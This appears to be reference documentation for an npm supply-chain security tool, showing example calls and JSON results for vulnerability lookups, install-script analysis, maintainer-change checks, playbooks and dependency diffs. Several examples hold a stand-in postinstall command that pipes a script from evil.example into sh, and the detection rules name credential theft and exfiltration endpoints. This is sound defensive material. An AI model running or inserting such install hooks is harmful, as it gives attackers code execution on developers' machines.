MCP Tools Reference

search_packages({ "query": "react-router", "limit": 3 })

{
  "query": "react-router",
  "total": 41,
  "results": [
    {
      "name": "react-router",
      "version": "6.23.1",
      "description": "Declarative routing for React",
      "publisher": "mjackson",
      "weeklyDownloads": 11482031,
      "monthlyDownloads": 48920104,
      "dependentsCount": 8213,
      "topPackagesRank": 87,
      "popularityTier": "very-high",
      "maintenanceTier": "active",
      "possibleTyposquatOf": null,
      "npmscanUrl": "https://npmscan.com/package/react-router"
    }
    /* ...2 more results */
  ]
}

search_packages({ "query": "raect" })

{
  "query": "raect",
  "total": 1,
  "results": [
    {
      "name": "raect",
      "version": "0.0.1",
      "weeklyDownloads": 4,
      "dependentsCount": 0,
      "topPackagesRank": null,
      "popularityTier": "very-low",
      "maintenanceTier": "stale",
      "possibleTyposquatOf": { "name": "react", "rank": 3 },
      "npmscanUrl": "https://npmscan.com/package/raect"
    }
  ]
}

search_packages({ "query": "a" })

{ "error": "\"query\" must be at least 2 characters" }

get_package({ "name": "axios" })

{
  "name": "axios",
  "latestVersion": "1.20.0",
  "latestVersionInfo": {
    "version": "1.20.0",
    "scripts": { "prepare": "husky" },
    "deprecated": null
  },
  "weeklyDownloads": 85399829,
  "githubStars": 109212,
  "hasBuiltInTypes": true,
  "daysSinceLastPublish": 6,
  "popularityTier": "very-high",
  "maintenanceTier": "active",
  "maintenanceSummary": "published within the last year; widely used",
  "downloadTrend": { "direction": "declining", "changePercent": -30.6 },
  "possibleTyposquatOf": null,
  "isLatestVersionVulnerable": false,
  "highestSeverity": null,
  "vulnerabilities": []
}

get_package({ "name": "request" })

{
  "name": "request",
  "latestVersion": "2.88.2",
  "latestVersionInfo": {
    "version": "2.88.2",
    "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142"
  },
  "weeklyDownloads": 12798694,
  "popularityTier": "very-high",
  "maintenanceSummary": "Deprecated by the maintainer: \"request has been deprecated, see https://github.com/request/request/issues/3142\"",
  "isLatestVersionVulnerable": true,
  "highestSeverity": "MODERATE",
  "vulnerabilities": [
    {
      "id": "GHSA-p8p7-x288-28g6",
      "summary": "Server-Side Request Forgery in Request",
      "severity": "MODERATE",
      "aliases": ["CVE-2023-28155"],
      "fixedVersion": null,
      "npmscanUrl": "https://npmscan.com/vulnerability/GHSA-p8p7-x288-28g6"
    }
  ]
}

get_package({ "name": "this-package-does-not-exist-anywhere" })

{ "error": "Package \"this-package-does-not-exist-anywhere\" not found" }

get_package_version({ "name": "minimist", "version": "1.2.5" })

{
  "name": "minimist",
  "version": "1.2.5",
  "isVulnerable": true,
  "highestSeverity": "CRITICAL",
  "vulnerabilities": [
    {
      "id": "GHSA-xvch-5gv4-984h",
      "summary": "Prototype Pollution in minimist",
      "severity": "CRITICAL",
      "aliases": ["CVE-2021-44906"],
      "fixedVersion": "1.2.6",
      "npmscanUrl": "https://npmscan.com/vulnerability/GHSA-xvch-5gv4-984h"
    }
  ]
}

get_package_version({ "name": "minimist", "version": "1.2.6" })

{
  "name": "minimist",
  "version": "1.2.6",
  "isVulnerable": false,
  "highestSeverity": null,
  "vulnerabilities": []
}

get_package_version({ "name": "minimist", "version": "999.0.0" })

{ "error": "Version \"999.0.0\" of package \"minimist\" not found" }

get_maintainer_profile({ "maintainerUsername": "sindresorhus" })

{
  "maintainerUsername": "sindresorhus",
  "npmscanUrl": "https://npmscan.com/profile/sindresorhus",
  "npmProfileUrl": "https://www.npmjs.com/~sindresorhus",
  "avatarUrl": "https://npmscan.com/api/avatar/d36a92237c75c5337c17b60d90686bf9",
  "totalPackagesFound": 1066,
  "packagesReturned": 250,
  "resultsTruncated": true,
  "currentlyMaintainsCount": 250,
  "totalWeeklyDownloads": 17893700000,
  "totalDependents": 620500,
  "packages": [
    {
      "name": "chalk",
      "version": "5.3.0",
      "lastPublished": "2023-07-01T09:14:07.000Z",
      "weeklyDownloads": 289421153,
      "dependentsCount": 84213,
      "isCurrentMaintainer": true,
      "npmscanUrl": "https://npmscan.com/package/chalk"
    }
    /* ...249 more */
  ],
  "note": null
}

get_maintainer_profile({ "maintainerUsername": "not-a-real-npm-user-xyz" })

{
  "maintainerUsername": "not-a-real-npm-user-xyz",
  "npmscanUrl": "https://npmscan.com/profile/not-a-real-npm-user-xyz",
  "npmProfileUrl": "https://www.npmjs.com/~not-a-real-npm-user-xyz",
  "avatarUrl": null,
  "totalPackagesFound": 0,
  "packagesReturned": 0,
  "resultsTruncated": false,
  "currentlyMaintainsCount": 0,
  "totalWeeklyDownloads": 0,
  "totalDependents": 0,
  "packages": [],
  "note": "No packages found where \"not-a-real-npm-user-xyz\" is currently listed as a maintainer in npm's search index — check the spelling, or this account may not maintain any currently-published packages"
}

query_vulnerabilities({ "name": "minimist", "version": "1.2.5" })

{
  "package": "minimist",
  "version": "1.2.5",
  "isVulnerable": true,
  "highestSeverity": "CRITICAL",
  "vulnerabilities": [
    { "id": "GHSA-xvch-5gv4-984h", "severity": "CRITICAL", "aliases": ["CVE-2021-44906"], "fixedVersion": "1.2.6", "npmscanUrl": "https://npmscan.com/vulnerability/GHSA-xvch-5gv4-984h" }
  ]
}

query_vulnerabilities({ "name": "minimist", "version": "1.2.6" })

{
  "package": "minimist",
  "version": "1.2.6",
  "isVulnerable": false,
  "highestSeverity": null,
  "vulnerabilities": []
}

query_vulnerabilities({ "name": "minimist" })

{
  "package": "minimist",
  "version": null,
  "isVulnerable": true,
  "highestSeverity": "CRITICAL",
  "vulnerabilities": [
    { "id": "GHSA-xvch-5gv4-984h", "aliases": ["CVE-2021-44906"], "fixedVersion": "1.2.6" },
    { "id": "GHSA-vh95-rmgr-6w4m", "aliases": ["CVE-2020-7598"], "fixedVersion": "1.2.3" }
  ]
}

batch_query_vulnerabilities({
  "content": "{ \"dependencies\": { \"minimist\": \"1.2.5\" }, \"peerDependencies\": { \"react\": \"^18.0.0\" } }"
})

{
  "inputFormat": "package.json",
  "parsedPackageCount": 1,
  "warnings": ["1 peerDependency (react) was excluded from this scan — pass includePeerDependencies to also check them."],
  "ignoredPeerDependencyNames": ["react"],
  "results": [
    {
      "package": { "name": "minimist", "version": "1.2.5", "declaredSpec": "1.2.5" },
      "scanStatus": "scanned",
      "vulnerabilityCount": 1,
      "vulnerabilities": [
        { "id": "GHSA-xvch-5gv4-984h", "severity": "CRITICAL", "aliases": ["CVE-2021-44906"], "fixedVersion": "1.2.6" }
      ],
      "signals": { "deprecated": null, "hasInstallScripts": false, "popularityTier": "very-high", "maintenanceTier": "active", "possibleTyposquatOf": null },
      "source": null
    }
  ],
  "totalVulnerabilities": 1,
  "packagesWithVulnerabilities": 1
}

batch_query_vulnerabilities({
  "content": "{ \"packages\": { \"node_modules/lodash\": { \"version\": \"4.18.1\", \"resolved\": \"https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz\" } } }"
})

{
  "inputFormat": "npm-lock",
  "warnings": ["CRITICAL: 1 package (lodash) has a resolved tarball URL that does NOT match its declared name/version — see source.resolvedName/resolvedVersion vs. package.name/version on that result."],
  "results": [
    {
      "package": { "name": "lodash", "version": "4.18.1" },
      "scanStatus": "scanned",
      "vulnerabilityCount": 0,
      "signals": { "deprecated": null, "hasInstallScripts": false, "popularityTier": "very-high", "maintenanceTier": "active", "possibleTyposquatOf": null },
      "source": {
        "resolvedUrl": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz",
        "nonRegistryHost": false,
        "identityMismatch": true,
        "resolvedName": "minimist",
        "resolvedVersion": "0.0.8"
      }
    }
  ]
}

batch_query_vulnerabilities({
  "packages": [
    { "name": "is-number", "version": "7.0.0" },
    { "name": "kind-of", "version": "6.0.3" }
  ]
})

{
  "parsedPackageCount": 2,
  "results": [
    { "package": { "name": "is-number", "version": "7.0.0" }, "scanStatus": "scanned", "vulnerabilityCount": 0, "vulnerabilities": [], "signals": { "deprecated": null, "hasInstallScripts": false, "popularityTier": "very-high", "maintenanceTier": "stale", "possibleTyposquatOf": null }, "source": null },
    { "package": { "name": "kind-of", "version": "6.0.3" }, "scanStatus": "scanned", "vulnerabilityCount": 0, "vulnerabilities": [], "signals": { "deprecated": null, "hasInstallScripts": false, "popularityTier": "very-high", "maintenanceTier": "stale", "possibleTyposquatOf": null }, "source": null }
  ],
  "totalVulnerabilities": 0,
  "packagesWithVulnerabilities": 0
}

batch_query_vulnerabilities({
  "packages": [{ "name": "lodash" }],
  "content": "{ \"dependencies\": { \"lodash\": \"4.17.21\" } }"
})

{ "error": "Provide either packages or content, not both" }

get_latest_advisories({ "category": "xss", "severity": "high" })

{
  "severity": "high",
  "category": "xss",
  "direction": "desc",
  "nextCursor": "MjAyNS0..._eyJpZCI6MTIzfQ",
  "advisories": [
    {
      "id": "GHSA-xxxx-xxxx-xxxx",
      "cve": "CVE-2025-xxxxx",
      "summary": "Cross-site scripting (XSS) in a Markdown-to-HTML renderer via unsanitized image alt text",
      "severity": "high",
      "categories": ["xss"],
      "packages": [{ "name": "example-markdown-renderer", "affectedRange": "< 3.2.1", "patchedVersion": "3.2.1" }]
    }
    /* ...29 more, per_page is 30 */
  ]
}

get_latest_advisories({ "ghsaId": "GHSA-xvch-5gv4-984h" })

{
  "advisories": [
    { "id": "GHSA-xvch-5gv4-984h", "cve": "CVE-2021-44906", "summary": "Prototype Pollution in minimist", "severity": "critical" }
  ]
}

get_latest_advisories({ "direction": "asc" })

{ "direction": "asc", "advisories": [ /* oldest reviewed advisory first */ ] }

get_cve({ "cveId": "CVE-2021-44228" })

{
  "id": "CVE-2021-44228",
  "vulnStatus": "Analyzed",
  "cvss": { "version": "3.1", "baseScore": 10, "baseSeverity": "CRITICAL", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" },
  "cwes": ["Improper Neutralization of Special Elements used in an Expression Language Statement"],
  "source": "nvd",
  "kev": {
    "dateAdded": "2021-12-10",
    "dueDate": "2021-12-24",
    "requiredAction": "Apply updates per vendor instructions."
  },
  "epss": { "score": 0.94421, "percentile": 0.99976, "date": "2026-08-30" }
}

get_cve({ "cveId": "CVE-2099-99999" })

{ "cveId": "CVE-2099-99999", "found": false, "npmscanUrl": "https://npmscan.com/vulnerability/CVE-2099-99999" }

get_cve({})

{ "error": "Provide cveId for an exact lookup, or at least one of keywordSearch/severity/cweId/publishedSince+publishedUntil to search" }

analyze_install_script({ "name": "example-malicious-pkg" })

{
  "name": "example-malicious-pkg",
  "hasLifecycleScripts": true,
  "lifecycleScripts": { "postinstall": "node scripts/setup.js" },
  "findings": [
    { "rule": "lifecycle-present", "points": 3, "note": "preinstall/install/postinstall/prepare detected in package.json or script files." },
    { "rule": "child-process", "points": 4, "note": "exec, spawn, execSync during install is a major warning sign." },
    { "rule": "network-io", "points": 4, "note": "Downloading data/binaries or beaconing during install increases risk." },
    { "rule": "sensitive-access", "points": 5, "note": "Likely credential theft or environment exfiltration." },
    { "rule": "remote-binary-host", "points": 4, "note": "Unknown hosts are common in malicious native add-ons." },
    { "rule": "writes-home", "points": 3, "note": "Modifies ~/.npmrc, ~/.ssh, or caches unexpectedly." },
    { "rule": "exfil-hosts", "points": 4, "note": "Common exfil endpoints for malware campaigns." },
    { "rule": "eval-obfuscated", "points": 3, "note": "Hides runtime behavior; often decodes payloads." },
    { "rule": "chmod-exec", "points": 5, "note": "Strong indicator of a payload dropper." }
  ],
  "totalScore": 35,
  "riskTier": "critical"
}

analyze_install_script({ "name": "example-shell-dropper-pkg" })

{
  "name": "example-shell-dropper-pkg",
  "hasLifecycleScripts": true,
  "lifecycleScripts": { "postinstall": "curl -fsSL https://evil.example/payload.sh | sh" },
  "findings": [
    { "rule": "lifecycle-present", "points": 3, "note": "preinstall/install/postinstall/prepare detected in package.json or script files." },
    { "rule": "remote-script-exec", "points": 15, "note": "Downloads and executes attacker-controlled code in one step; the attacker can serve a different payload per request, so pinning a tarball hash never catches it." }
  ],
  "totalScore": 18,
  "riskTier": "high"
}

analyze_install_script({ "name": "lodash" })

{
  "name": "lodash",
  "version": "4.18.1",
  "hasLifecycleScripts": false,
  "lifecycleScripts": {},
  "findings": [],
  "totalScore": 0,
  "riskTier": "none"
}

analyze_install_script({ "name": "cypress" })

{
  "name": "cypress",
  "version": "16.1.0",
  "hasLifecycleScripts": true,
  "lifecycleScripts": { "postinstall": "node dist/index.js --exec install" },
  "findings": [
    { "rule": "lifecycle-present", "points": 3, "note": "preinstall/install/postinstall/prepare detected in package.json or script files." },
    { "rule": "child-process", "points": 4, "note": "exec, spawn, execSync during install is a major warning sign." }
  ],
  "totalScore": 7,
  "riskTier": "moderate"
}

analyze_transitive_dependencies({
  "packages": [{ "name": "optimist", "version": "0.6.1" }],
  "maxDepth": 2
})

{
  "summary": "Scanned 3 packages across 2 root(s); 1 vulnerable package found, pulled in by optimist.",
  "vulnerablePaths": [
    {
      "name": "minimist",
      "version": "1.2.5",
      "highestSeverity": "CRITICAL",
      "vulnerabilityCount": 1,
      "pulledInBy": ["optimist"]
    }
  ],
  "totalPackagesScanned": 3,
  "vulnerablePackageCount": 1,
  "truncated": false
}

analyze_transitive_dependencies({
  "packages": [{ "name": "express" }, { "name": "body-parser" }]
})

{
  "summary": "Scanned 14 packages across 2 root(s); 0 vulnerable packages found.",
  "vulnerablePaths": [],
  "totalPackagesScanned": 14,
  "vulnerablePackageCount": 0,
  "truncated": false
}

analyze_transitive_dependencies({ "packages": [{ "name": "some-fork", "version": "git+https://github.com/user/some-fork.git" }] })

{
  "nodes": [
    { "name": "some-fork", "version": null, "resolutionError": "Non-registry specifier (git URL) cannot be resolved", "isVulnerable": false }
  ],
  "unresolvedCount": 1
}

check_package_provenance({ "name": "semver", "version": "7.6.3" })

{
  "name": "semver",
  "version": "7.6.3",
  "provenance": {
    "hasProvenance": true,
    "sourceRepository": "https://github.com/npm/node-semver",
    "declaredRepository": "https://github.com/npm/node-semver",
    "repositoryMatchesBuild": true
  },
  "sourceDiff": { "checked": true, "addedInstallScripts": [], "addedDependencies": [] },
  "findings": [],
  "totalScore": 0,
  "riskTier": "none"
}

check_package_provenance({ "name": "@npmcli/arborist" })

{
  "name": "@npmcli/arborist",
  "provenance": { "hasProvenance": false },
  "peers": {
    "orgKind": "scope",
    "orgIdentifier": "@npmcli",
    "peersChecked": 8,
    "peersWithProvenance": 8,
    "peerProvenanceRate": 1
  },
  "findings": [
    { "rule": "no-provenance-org-norm", "points": 15, "note": "Most other packages published under the same npm scope or by the same maintainer(s) use --provenance; this version does not." }
  ],
  "totalScore": 15,
  "riskTier": "moderate"
}

check_package_provenance({ "name": "lodash" })

{
  "name": "lodash",
  "provenance": { "hasProvenance": false },
  "peers": { "orgKind": "maintainer", "orgIdentifier": "jdalton", "peersChecked": 8, "peersWithProvenance": 0, "peerProvenanceRate": 0 },
  "findings": [],
  "totalScore": 0,
  "riskTier": "none"
}

check_maintainer_changes({ "name": "example-hijacked-pkg" })

{
  "name": "example-hijacked-pkg",
  "history": {
    "changes": [
      { "version": "2.4.1", "publishedAt": "2026-01-14T09:02:00.000Z", "added": ["new-account-99"], "removed": [] }
    ]
  },
  "findings": [
    { "rule": "new-maintainer-published-quickly", "points": 35, "note": "A maintainer added shortly before this publish, on a package with years of prior stable history" }
  ],
  "totalScore": 35,
  "riskTier": "high"
}

check_maintainer_changes({ "name": "event-stream" })

{
  "name": "event-stream",
  "history": { "changes": [], "note": "No maintainer changes within the lookback window" },
  "findings": [],
  "totalScore": 0,
  "riskTier": "none"
}

check_maintainer_changes({ "name": "jade" })

{
  "name": "jade",
  "repository": {
    "checked": true,
    "declaredRepository": "git://github.com/jadejs/jade.git",
    "currentFullName": "pugjs/pug",
    "transferred": true,
    "ownerLogin": "pugjs"
  },
  "findings": [
    { "rule": "repository-transferred", "points": 18, "note": "package.json's repository field points at a GitHub repo that has since been renamed or transferred to a different owner — GitHub itself now resolves that URL to a different full name." }
  ],
  "riskTier": "moderate"
}

check_maintainer_blast_radius({ "maintainerUsername": "jaredwray" })

{
  "maintainerUsername": "jaredwray",
  "avatarUrl": "https://npmscan.com/api/avatar/f08cf036a76de57f0deb190a24970e29",
  "clusterWindowHours": 72,
  "clusters": [
    /* 4 clusters as of this writing — this account keeps publishing, so
       both the count and the totals below will keep moving; re-verify
       live rather than trusting a frozen snapshot */
    {
      "windowStart": "2026-06-27T18:19:51.509Z",
      "windowEnd": "2026-06-27T18:20:33.507Z",
      "packageNames": ["@cacheable/utils", "@cacheable/memory", "@cacheable/node-cache", "cache-manager", "cacheable", "@cacheable/net", "flat-cache", "file-entry-cache"],
      "packageCount": 8,
      "combinedWeeklyDownloads": 278348331,
      "stillCurrentMaintainerCount": 8
    }
  ],
  "findings": [ /* one tight-publish-cluster finding per cluster, 4 total */ ],
  "totalScore": 116,
  "riskTier": "critical"
}

check_maintainer_blast_radius({ "maintainerUsername": "sindresorhus" })

{
  "maintainerUsername": "sindresorhus",
  "avatarUrl": "https://npmscan.com/api/avatar/d36a92237c75c5337c17b60d90686bf9",
  "totalPackagesFound": 1064,
  "packagesReturned": 250,
  "resultsTruncated": true,
  "clusters": [
    /* 15 clusters as of this writing, spanning 2021-2026 */
    {
      "windowStart": "2025-09-07T22:08:19.358Z",
      "windowEnd": "2025-09-21T08:27:34.891Z",
      "packageNames": ["url-parse-lax", "terminal-link", "has-ansi", "chalk-template", "parent-module", "is-docker", "locate-path", "find-up", "..."],
      "packageCount": 24,
      "stillCurrentMaintainerCount": 24
    }
  ],
  "findings": [ /* one tight-publish-cluster finding per cluster, 15 total */ ],
  "totalScore": 165,
  "riskTier": "critical"
}

get_remediation_playbook({ "rules": ["full-maintainer-turnover"] })

{
  "matches": [
    {
      "rule": "full-maintainer-turnover",
      "requestedId": null,
      "matched": true,
      "playbookId": "maintainer-change-flagged",
      "situationNote": "None of the maintainers who held access before the lookback window remain at all — a complete, sudden handoff like this is one of the strongest indicators of a hostile takeover, not a routine transition.",
      "note": "Matched to the \"maintainer-change-flagged\" playbook."
    }
  ],
  "playbooks": [
    {
      "id": "maintainer-change-flagged",
      "title": "Maintainer change flagged",
      "severity": "high",
      "steps": [
        { "text": "Freeze to last known‑good version; audit diffs of latest release.", "why": "Stabilizes while you verify new ownership." },
        { "text": "Check repo activity and communication; look for transparency.", "why": "Legitimate handovers are usually documented." },
        { "text": "Require two‑person review for first re‑adopted versions.", "why": "Adds oversight during the riskiest period." }
      ],
      "references": [
        { "label": "npm's post-mortem of the event-stream incident", "url": "https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident", "kind": "incident" }
      ],
      "preventionTips": [
        "Alert on any maintainer-list change or repository transfer/archival for production dependencies, not just at upgrade time.",
        "Require two-person review for the first version published under a changed maintainer list.",
        "Prefer packages published via npm trusted publishing (OIDC) over long-lived personal publish tokens where the option exists."
      ],
      "npmscanUrl": "https://npmscan.com/docs/playbooks#maintainer-change-flagged"
    }
  ]
}

get_remediation_playbook({ "rules": ["obfuscation", "exfil-hosts"] })

{
  "matches": [
    {
      "rule": "obfuscation",
      "playbookId": "supply-chain-compromise",
      "situationNote": "The install script content is obfuscated (hex-encoded identifiers, large base64 blobs) — legitimate build tooling rarely needs to hide what it is doing from a reader."
    },
    {
      "rule": "exfil-hosts",
      "playbookId": "supply-chain-compromise",
      "situationNote": "The install script contacts a known exfiltration-style endpoint (Discord/Telegram webhook, Pastebin, webhook.site) — a real, verified 2026 npm incident used exactly this pattern, a preinstall script posting the host's username and hostname to a webhook.site collector on every install."
    }
  ],
  "playbooks": [
    { "id": "supply-chain-compromise", "title": "Supply‑chain compromise", "severity": "critical" }
  ]
}

get_remediation_playbook({ "id": "postinstall-binary" })

{
  "matches": [
    { "rule": null, "requestedId": "postinstall-binary", "matched": true, "playbookId": "postinstall-binary", "situationNote": null, "note": "Matched playbook id \"postinstall-binary\" directly." }
  ],
  "playbooks": [
    {
      "id": "postinstall-binary",
      "title": "Postinstall downloads a binary",
      "severity": "critical",
      "references": [
        { "label": "GHSA-pjwm-rvh2-c87w — Embedded malware in ua-parser-js", "url": "https://github.com/advisories/GHSA-pjwm-rvh2-c87w", "kind": "incident" }
      ]
    }
  ]
}

get_remediation_playbook({ "rules": ["lifecycle-present"] })

{
  "matches": [
    { "rule": "lifecycle-present", "requestedId": null, "matched": false, "playbookId": null, "situationNote": null, "note": "No dedicated playbook for rule \"lifecycle-present\" — likely a baseline/informational finding, not evidence of risk on its own." }
  ],
  "playbooks": []
}

check_license_compliance({
  "packages": [
    { "name": "graphviz" },
    { "name": "lightningcss" },
    { "name": "lodash" }
  ]
})

{
  "policy": { "mode": "default", "allow": [], "deny": [] },
  "summary": "1 of 3 packages violate the default policy (copyleft/network-copyleft/proprietary).",
  "results": [
    { "package": { "name": "graphviz" }, "rawLicense": "GPL-3.0-or-later", "category": "copyleft", "isCompliant": false, "violation": { "rule": "default-copyleft", "text": "GPL-3.0-or-later is copyleft" } },
    { "package": { "name": "lightningcss" }, "rawLicense": "MPL-2.0", "category": "weak-copyleft", "isCompliant": true },
    { "package": { "name": "lodash" }, "rawLicense": "MIT", "category": "permissive", "isCompliant": true }
  ],
  "totalPackages": 3,
  "compliantCount": 2,
  "violationCount": 1
}

check_license_compliance({
  "packages": [{ "name": "expand-template" }],
  "policy": { "deny": ["GPL-3.0"] }
})

{
  "results": [
    { "package": { "name": "expand-template" }, "rawLicense": "(MIT OR WTFPL)", "category": "permissive", "isCompliant": true, "needsReview": false }
  ],
  "violationCount": 0
}

check_license_compliance({
  "packages": [{ "name": "ckeditor4" }],
  "policy": { "allow": ["MIT"] }
})

{
  "results": [
    { "package": { "name": "ckeditor4" }, "rawLicense": "(GPL-2.0-or-later OR LGPL-2.1-or-later OR MPL-1.1)", "category": "mixed", "isCompliant": false, "needsReview": true }
  ],
  "needsReviewCount": 1
}

diff_dependencies({
  "before": "{ \"dependencies\": { \"minimist\": \"1.2.5\" } }",
  "after": "{ \"dependencies\": { \"minimist\": \"1.2.6\" } }"
})

{
  "summary": "Compared package.json snapshots: 0 added, 0 removed, 1 changed.",
  "changed": [
    {
      "name": "minimist",
      "beforeVersion": "1.2.5",
      "afterVersion": "1.2.6",
      "changeType": "upgrade",
      "installScriptIntroduced": false,
      "sourceIntegrityChanged": null,
      "isVulnerable": false,
      "vulnerabilityDelta": "fixed"
    }
  ],
  "flaggedCount": 0,
  "projectLifecycleChanges": null,
  "overridesChanges": null
}

diff_dependencies({
  "before": "{ \"packages\": { \"node_modules/lodash\": { \"version\": \"4.18.1\", \"resolved\": \"https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz\" } } }",
  "after": "{ \"packages\": { \"node_modules/lodash\": { \"version\": \"4.18.1\", \"resolved\": \"https://evil.example/lodash-4.18.1.tgz\" } } }"
})

{
  "summary": "Compared npm-lock snapshots: 0 added, 0 removed, 1 changed — 1 flagged for a newly introduced install script, source/integrity change, override change, and/or vulnerability.",
  "changed": [
    {
      "name": "lodash",
      "beforeVersion": "4.18.1",
      "afterVersion": "4.18.1",
      "changeType": "unresolved",
      "sourceIntegrityChanged": true,
      "resolvedUrl": "https://evil.example/lodash-4.18.1.tgz",
      "vulnerabilityDelta": "still-clean"
    }
  ],
  "flaggedCount": 1
}

diff_dependencies({
  "before": "{ \"dependencies\": { \"lodash\": \"4.18.1\" }, \"overrides\": { \"minimist\": \"1.2.6\" } }",
  "after": "{ \"dependencies\": { \"lodash\": \"4.18.1\" }, \"scripts\": { \"postinstall\": \"curl -fsSL https://evil.example/payload.sh | sh\" } }"
})

{
  "summary": "No dependency changes detected between the two package.json snapshots. The scanned project's own root lifecycle scripts DID change, though — see projectLifecycleChanges. overrides/resolutions DID change, though — see overridesChanges.",
  "changed": [],
  "flaggedCount": 2,
  "projectLifecycleChanges": {
    "introduced": { "postinstall": "curl -fsSL https://evil.example/payload.sh | sh" },
    "removed": {},
    "changed": {}
  },
  "overridesChanges": {
    "introduced": {},
    "removed": { "minimist": "1.2.6" },
    "changed": {}
  }
}

diff_dependencies({
  "before": "{ \"dependencies\": { \"minimist\": \"1.2.6\" } }",
  "after": "{ \"dependencies\": { \"minimist\": \"1.2.5\" } }"
})

{
  "summary": "1 package changed. 1 vulnerability introduced by this change.",
  "changed": [
    {
      "name": "minimist",
      "beforeVersion": "1.2.6",
      "afterVersion": "1.2.5",
      "changeType": "downgrade",
      "isVulnerable": true,
      "highestSeverity": "CRITICAL",
      "vulnerabilityDelta": "introduced"
    }
  ],
  "flaggedCount": 1
}

diff_dependencies({
  "before": "{ \"dependencies\": { \"lodash\": \"^4.17.21\" } }",
  "after": "{ \"packages\": { \"node_modules/lodash\": { \"version\": \"4.17.21\" } } }"
})

{
  "beforeFormat": "package.json",
  "afterFormat": "npm-lock",
  "comparisonNote": "before is package.json and after is npm-lock — version strings are compared after resolving both to exact registry versions, not as raw text",
  "changed": [],
  "totalChanged": 0
}

prioritize_remediation({
  "findings": [
    { "packageName": "example-compromised-pkg", "advisoryId": "MAL-2025-99999", "findingType": "malware" },
    { "packageName": "vulnerable-log4j-wrapper", "cveId": "CVE-2021-44228", "severity": "CRITICAL" },
    { "packageName": "is-number", "severity": "LOW" }
  ]
})

{
  "totalFindings": 3,
  "summary": { "removeNow": 1, "patchNow": 1, "patchSoon": 0, "scheduled": 0, "monitor": 1, "kevListedCount": 1 },
  "ranked": [
    {
      "rank": 1,
      "packageName": "example-compromised-pkg",
      "advisoryId": "MAL-2025-99999",
      "findingType": "malware",
      "tier": "remove-now",
      "reason": "Flagged as known malware / a malicious package — remove or replace it, this is not something to just patch."
    },
    {
      "rank": 2,
      "packageName": "vulnerable-log4j-wrapper",
      "cveId": "CVE-2021-44228",
      "findingType": "vulnerability",
      "kev": { "dateAdded": "2021-12-10", "requiredAction": "Apply updates per vendor instructions." },
      "epss": { "score": 0.99999, "percentile": 1 },
      "tier": "patch-now",
      "reason": "Actively exploited in the wild — listed on the CISA Known Exploited Vulnerabilities catalog."
    },
    { "rank": 3, "packageName": "is-number", "cveId": null, "findingType": "vulnerability", "kev": null, "tier": "monitor", "reason": "No CVE id supplied — ranked by LOW severity alone." }
  ]
}

prioritize_remediation({
  "findings": [
    { "packageName": "pkg-a", "cveId": "CVE-2021-44906", "severity": "CRITICAL" },
    { "packageName": "pkg-b", "cveId": "CVE-2021-44906", "severity": "CRITICAL" }
  ]
})

{
  "totalFindings": 2,
  "uniqueCveCount": 1,
  "ranked": [
    { "rank": 1, "packageName": "pkg-a", "cveId": "CVE-2021-44906" },
    { "rank": 2, "packageName": "pkg-b", "cveId": "CVE-2021-44906" }
  ]
}

prioritize_remediation({ "findings": [ /* 201 items */ ] })

{ "error": "findings: Array must contain at most 200 element(s)" }

simulate_dependency_upgrade({
  "packageName": "lodash",
  "currentVersion": "3.10.1",
  "targetVersion": "4.17.21"
})

{
  "resolvedCurrentVersion": "3.10.1",
  "resolvedTargetVersion": "4.17.21",
  "direction": "upgrade",
  "semverBump": "major",
  "isBreakingBySemver": true,
  "majorVersionsSkipped": 0,
  "vulnerabilityDelta": "still-clean",
  "riskTier": "breaking-change-likely",
  "reasons": ["Major version bump — semver signals this release is allowed to contain breaking API changes."]
}

simulate_dependency_upgrade({
  "packageName": "minimist",
  "currentVersion": "1.2.5",
  "targetVersion": "1.2.6"
})

{
  "resolvedCurrentVersion": "1.2.5",
  "resolvedTargetVersion": "1.2.6",
  "direction": "upgrade",
  "semverBump": "patch",
  "isBreakingBySemver": false,
  "installScriptIntroduced": false,
  "currentIsVulnerable": true,
  "targetIsVulnerable": false,
  "vulnerabilityDelta": "fixed",
  "riskTier": "safe",
  "reasons": ["Patch version bump — semver signals a backward-compatible bug fix.", "Target version resolves a known vulnerability present in the current version."]
}

simulate_dependency_upgrade({
  "packageName": "lodash",
  "currentVersion": "4.17.21",
  "targetVersion": "^99.0.0"
})

{
  "resolvedCurrentVersion": "4.17.21",
  "resolvedTargetVersion": null,
  "targetVersionNote": "No published version of \"lodash\" satisfies \"^99.0.0\"",
  "direction": "unresolved",
  "riskTier": "unknown"
}

suggest_alternative({ "name": "node-sass" })

{
  "source": { "name": "node-sass", "deprecated": "node-sass is deprecated. Please use dart-sass instead.", "popularityTier": "high", "maintenanceTier": "stale" },
  "reason": "deprecated",
  "confidence": "high",
  "suggestions": [
    { "name": "sass", "deprecated": null, "isLatestVersionVulnerable": false, "whySuggested": "Named directly in node-sass's own deprecation notice; actively maintained." },
    { "name": "sass-embedded", "deprecated": null, "whySuggested": "Named directly in node-sass's own deprecation notice; faster native binding." }
  ]
}

suggest_alternative({ "name": "request-promise" })

{
  "source": { "name": "request-promise", "deprecated": "request-promise has been deprecated because request has been deprecated." },
  "reason": "deprecated",
  "confidence": "medium",
  "suggestions": [
    { "name": "got", "whySuggested": "Same HTTP-client category, actively maintained, no open vulnerabilities." },
    { "name": "axios", "whySuggested": "Same HTTP-client category, actively maintained, no open vulnerabilities." }
  ]
}

suggest_alternative({ "name": "left-pad" })

{
  "source": { "name": "left-pad" },
  "reason": "general",
  "nonPackageAlternatives": ["String.prototype.padStart()"],
  "suggestions": []
}

compare_packages({ "packages": ["axios", "got", "node-fetch"] })

{
  "candidates": [
    { "name": "axios", "found": true, "weeklyDownloads": 65000000, "popularityTier": "very-high", "maintenanceTier": "active", "hasBuiltInTypes": true, "isLatestVersionVulnerable": false, "installScriptRisk": { "hasLifecycleScripts": false, "riskTier": "none" }, "installSize": { "unpackedSize": 1983343, "transitive": { "transitiveUnpackedSize": 2271546, "transitiveDependencyCount": 12, "sizeUnknownCount": 1, "truncated": false } }, "score": 41 },
